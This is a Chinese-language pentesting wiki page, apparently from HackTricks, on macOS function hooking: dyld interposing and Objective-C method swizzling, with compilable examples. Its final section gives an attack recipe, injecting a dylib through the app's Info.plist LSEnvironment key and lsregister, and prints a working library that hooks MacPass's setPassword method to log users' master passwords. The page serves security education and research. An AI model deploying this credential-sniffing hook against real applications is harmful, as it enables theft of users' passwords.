macOS Function Hooking

支持HackTricks

函数插入

创建一个带有**__interpose__DATA___interpose部分(或标记为S_INTERPOSING的部分),其中包含引用原始替换函数的函数指针**元组。

然后,使用**DYLD_INSERT_LIBRARIES注入dylib(插入需要在主应用程序加载之前发生)。显然,这里也适用于对DYLD_INSERT_LIBRARIES**的限制

插入printf

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

DYLD_PRINT_INTERPOSTING 环境变量可用于调试 interposing,并将打印 interpose 过程。

还要注意,interposing 发生在进程和已加载库之间,它不适用于共享库缓存。

动态 Interposing

现在也可以使用函数 dyld_dynamic_interpose 动态地 interpose 一个函数。这允许在运行时以编程方式 interpose 一个函数,而不仅仅是从一开始就这样做。

只需要指示要替换的函数和替换函数的元组

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

方法交换

在 ObjectiveC 中,方法的调用方式如下:[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

需要对象方法参数。当调用方法时,会使用函数**objc_msgSend发送消息**:int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

对象是**someObject,方法是@selector(method1p1:p2:),参数是value1**、value2

根据对象结构,可以访问一个包含方法名称指向方法代码的指针方法数组

请注意,由于方法和类是根据它们的名称访问的,这些信息存储在二进制文件中,因此可以使用 otool -ov </path/bin>class-dump </path/bin> 检索它。

访问原始方法

可以访问方法的信息,如名称、参数数量或地址,如下例所示:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

使用method_exchangeImplementations进行方法混淆

函数**method_exchangeImplementations允许更改一个函数的实现地址为另一个函数**的地址。

因此,当调用一个函数时,执行的是另一个函数

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

在这种情况下,如果合法方法的实现代码验证方法名称,它可以检测到这种交换并阻止其运行。

以下技术没有这种限制。

使用method_setImplementation进行方法交换

前面的格式很奇怪,因为你正在改变其中一个方法的实现。使用函数**method_setImplementation**,您可以将一个方法的实现更改为另一个方法。

只需记住,如果您要从新实现中调用原始实现的地址,则在覆盖它之前,请存储原始实现的地址,因为以后要定位该地址将会更加复杂。

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

钩子攻击方法论

在这一页中讨论了钩住函数的不同方法。然而,它们涉及在进程内运行代码进行攻击

为了做到这一点,最简单的技术是通过注入Dyld通过环境变量或劫持。然而,我认为这也可以通过Dylib进程注入来实现。

然而,这两种选项都限制未受保护的二进制文件/进程上。查看每种技术以了解更多限制信息。

然而,函数钩子攻击非常具体,攻击者会这样做是为了从进程内部窃取敏感信息(如果不是的话,你可能只是进行进程注入攻击)。而这些敏感信息可能位于用户下载的应用程序中,比如 MacPass。

因此,攻击者的向量将是要么找到一个漏洞,要么剥离应用程序的签名,通过应用程序的 Info.plist 注入**DYLD_INSERT_LIBRARIES**环境变量,添加类似以下内容:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

然后重新注册应用程序:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

在该库中添加挂钩代码以外泄信息:密码,消息...

请注意,在 macOS 的新版本中,如果您剥离应用程序二进制文件的签名,并且该应用程序之前已被执行,macOS将不再执行该应用程序

库示例

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

参考资料

支持 HackTricks

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